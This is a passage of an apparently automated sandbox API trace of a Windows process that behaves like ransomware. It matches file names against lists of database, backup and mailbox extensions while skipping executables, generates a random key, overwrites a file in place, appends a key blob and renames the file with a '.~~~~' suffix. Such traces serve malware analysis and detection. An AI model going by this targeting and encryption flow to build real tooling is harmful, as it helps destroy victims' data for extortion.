	[0069.099] lstrlenW (lpString=".DBT") returned 4
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0069.099] lstrlenW (lpString=".ACCDB") returned 6
	[0069.099] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0069.100] lstrlenW (lpString=".fdb") returned 4
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0069.100] lstrlenW (lpString=".bak") returned 4
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0069.100] lstrlenW (lpString=".myd") returned 4
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0069.100] lstrlenW (lpString=".DTXS") returned 5
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0069.100] lstrlenW (lpString=".ckp") returned 4
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0069.100] lstrlenW (lpString=".dbt") returned 4
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0069.100] lstrlenW (lpString=".db") returned 3
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0069.100] lstrlenW (lpString=".TXT") returned 4
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0069.100] lstrlenW (lpString=".MDF") returned 4
	[0069.100] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0069.100] lstrlenW (lpString=".bdb") returned 4
	[0069.101] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0069.304] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0069.304] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0069.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e7e8
	[0069.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0069.304] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0069.306] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0069.306] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0069.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0069.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0069.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0069.306] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18929707133) returned 1
	[0069.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x96406290, dwHighDateTime=0x1d60e1e)) 
	[0069.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0069.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0069.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0069.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c998
	[0069.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0069.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c998 | out: hHeap=0x300000) returned 1
	[0069.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0069.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0069.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6fb8
	[0069.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0069.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6fb8 | out: hHeap=0x300000) returned 1
	[0069.308] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0069.308] GetLastError () returned 0x0
	[0069.308] SetLastError (dwErrCode=0x0) 
	[0069.309] GetLastError () returned 0x0
	[0069.309] SetLastError (dwErrCode=0x0) 
	[0069.309] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0069.309] GetLastError () returned 0x0
	[0069.309] SetLastError (dwErrCode=0x0) 
	[0069.309] GetLastError () returned 0x0
	[0069.309] SetLastError (dwErrCode=0x0) 
	[0069.309] GetLastError () returned 0x0
	[0069.309] SetLastError (dwErrCode=0x0) 
	[0069.309] GetLastError () returned 0x0
	[0069.309] SetLastError (dwErrCode=0x0) 
	[0069.309] GetLastError () returned 0x0
	[0069.310] SetLastError (dwErrCode=0x0) 
	[0069.310] GetLastError () returned 0x0
	[0069.310] ReadFile (in: hFile=0x120, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x25dfec0*=0x16fc, lpOverlapped=0x0) returned 1
	[0069.314] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe904, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0069.314] WriteFile (in: hFile=0x120, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x25dfec0*=0x16fc, lpOverlapped=0x0) returned 1
	[0069.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0069.315] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0069.315] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0069.315] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0069.315] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0069.316] CloseHandle (hObject=0x120) returned 1
	[0069.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0069.317] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0069.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0069.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0069.323] GetLastError () returned 0x0
	[0069.323] RtlWakeConditionVariable () returned 0x365f70
	[0069.323] GetCurrentThreadId () returned 0x9f4
	[0069.323] GetCurrentThreadId () returned 0x9f4
	[0069.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0069.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0069.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0a0 | out: hHeap=0x300000) returned 1
	[0069.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0069.324] lstrlenW (lpString=".scr") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".scr") returned 0x0
	[0069.324] lstrlenW (lpString=".cmd") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".cmd") returned 0x0
	[0069.324] lstrlenW (lpString=".dll") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dll") returned 0x0
	[0069.324] lstrlenW (lpString=".bat") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".bat") returned 0x0
	[0069.324] lstrlenW (lpString=".cpl") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".cpl") returned 0x0
	[0069.324] lstrlenW (lpString=".sys") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".sys") returned 0x0
	[0069.324] lstrlenW (lpString=".msc") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".msc") returned 0x0
	[0069.324] lstrlenW (lpString=".com") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".com") returned 0x0
	[0069.324] lstrlenW (lpString=".lnk") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".lnk") returned 0x0
	[0069.324] lstrlenW (lpString=".msp") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".msp") returned 0x0
	[0069.324] lstrlenW (lpString=".pif") returned 4
	[0069.324] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".pif") returned 0x0
	[0069.324] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0069.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0069.325] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0069.325] lstrlenW (lpString=".sqb") returned 4
	[0069.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".sqb") returned 0x0
	[0069.325] lstrlenW (lpString=".ost") returned 4
	[0069.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".ost") returned 0x0
	[0069.325] lstrlenW (lpString=".txt") returned 4
	[0069.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".txt") returned 0x0
	[0069.325] lstrlenW (lpString=".mdt") returned 4
	[0069.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".mdt") returned 0x0
	[0069.325] lstrlenW (lpString=".BDB") returned 4
	[0069.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".BDB") returned 0x0
	[0069.325] lstrlenW (lpString=".eql") returned 4
	[0069.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".eql") returned 0x0
	[0069.325] lstrlenW (lpString=".DBF") returned 4
	[0069.325] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DBF") returned 0x0
	[0069.326] lstrlenW (lpString=".EQL") returned 4
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".EQL") returned 0x0
	[0069.326] lstrlenW (lpString=".FDB") returned 4
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".FDB") returned 0x0
	[0069.326] lstrlenW (lpString=".EDB") returned 4
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".EDB") returned 0x0
	[0069.326] lstrlenW (lpString=".DACPAC") returned 7
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DACPAC") returned 0x0
	[0069.326] lstrlenW (lpString=".VHD") returned 4
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".VHD") returned 0x0
	[0069.326] lstrlenW (lpString=".DBV") returned 4
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DBV") returned 0x0
	[0069.326] lstrlenW (lpString=".dacpac") returned 7
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dacpac") returned 0x0
	[0069.326] lstrlenW (lpString=".sdf") returned 4
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".sdf") returned 0x0
	[0069.326] lstrlenW (lpString=".accdb") returned 6
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".accdb") returned 0x0
	[0069.326] lstrlenW (lpString=".DBX") returned 4
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DBX") returned 0x0
	[0069.326] lstrlenW (lpString=".MDT") returned 4
	[0069.326] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".MDT") returned 0x0
	[0069.327] lstrlenW (lpString=".SQB") returned 4
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".SQB") returned 0x0
	[0069.327] lstrlenW (lpString=".vhd") returned 4
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".vhd") returned 0x0
	[0069.327] lstrlenW (lpString=".bac") returned 4
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".bac") returned 0x0
	[0069.327] lstrlenW (lpString=".mdf") returned 4
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".mdf") returned 0x0
	[0069.327] lstrlenW (lpString=".BAK") returned 4
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".BAK") returned 0x0
	[0069.327] lstrlenW (lpString=".BAC") returned 4
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".BAC") returned 0x0
	[0069.327] lstrlenW (lpString=".dbs") returned 4
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dbs") returned 0x0
	[0069.327] lstrlenW (lpString=".vhdx") returned 5
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".vhdx") returned 0x0
	[0069.327] lstrlenW (lpString=".NDF") returned 4
	[0069.327] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".NDF") returned 0x0
	[0069.327] lstrlenW (lpString=".dat") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dat") returned 0x0
	[0069.328] lstrlenW (lpString=".DBS") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DBS") returned 0x0
	[0069.328] lstrlenW (lpString=".CKP") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".CKP") returned 0x0
	[0069.328] lstrlenW (lpString=".edb") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".edb") returned 0x0
	[0069.328] lstrlenW (lpString=".PST") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".PST") returned 0x0
	[0069.328] lstrlenW (lpString=".dbf") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dbf") returned 0x0
	[0069.328] lstrlenW (lpString=".SQL") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".SQL") returned 0x0
	[0069.328] lstrlenW (lpString=".pst") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".pst") returned 0x0
	[0069.328] lstrlenW (lpString=".dbv") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dbv") returned 0x0
	[0069.328] lstrlenW (lpString=".SDF") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".SDF") returned 0x0
	[0069.328] lstrlenW (lpString=".dtxs") returned 5
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dtxs") returned 0x0
	[0069.328] lstrlenW (lpString=".db3") returned 4
	[0069.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".db3") returned 0x0
	[0069.329] lstrlenW (lpString=".OST") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".OST") returned 0x0
	[0069.329] lstrlenW (lpString=".dbx") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dbx") returned 0x0
	[0069.329] lstrlenW (lpString=".DB3") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DB3") returned 0x0
	[0069.329] lstrlenW (lpString=".DAT") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DAT") returned 0x0
	[0069.329] lstrlenW (lpString=".VHDX") returned 5
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".VHDX") returned 0x0
	[0069.329] lstrlenW (lpString=".ndf") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".ndf") returned 0x0
	[0069.329] lstrlenW (lpString=".DB") returned 3
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DB") returned 0x0
	[0069.329] lstrlenW (lpString=".sql") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".sql") returned 0x0
	[0069.329] lstrlenW (lpString=".MYD") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".MYD") returned 0x0
	[0069.329] lstrlenW (lpString=".DBT") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DBT") returned 0x0
	[0069.329] lstrlenW (lpString=".ACCDB") returned 6
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".ACCDB") returned 0x0
	[0069.329] lstrlenW (lpString=".fdb") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".fdb") returned 0x0
	[0069.329] lstrlenW (lpString=".bak") returned 4
	[0069.329] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".bak") returned 0x0
	[0069.330] lstrlenW (lpString=".myd") returned 4
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".myd") returned 0x0
	[0069.330] lstrlenW (lpString=".DTXS") returned 5
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".DTXS") returned 0x0
	[0069.330] lstrlenW (lpString=".ckp") returned 4
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".ckp") returned 0x0
	[0069.330] lstrlenW (lpString=".dbt") returned 4
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".dbt") returned 0x0
	[0069.330] lstrlenW (lpString=".db") returned 3
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".db") returned 0x0
	[0069.330] lstrlenW (lpString=".TXT") returned 4
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".TXT") returned 0x0
	[0069.330] lstrlenW (lpString=".MDF") returned 4
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".MDF") returned 0x0
	[0069.330] lstrlenW (lpString=".bdb") returned 4
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".bdb") returned 0x0
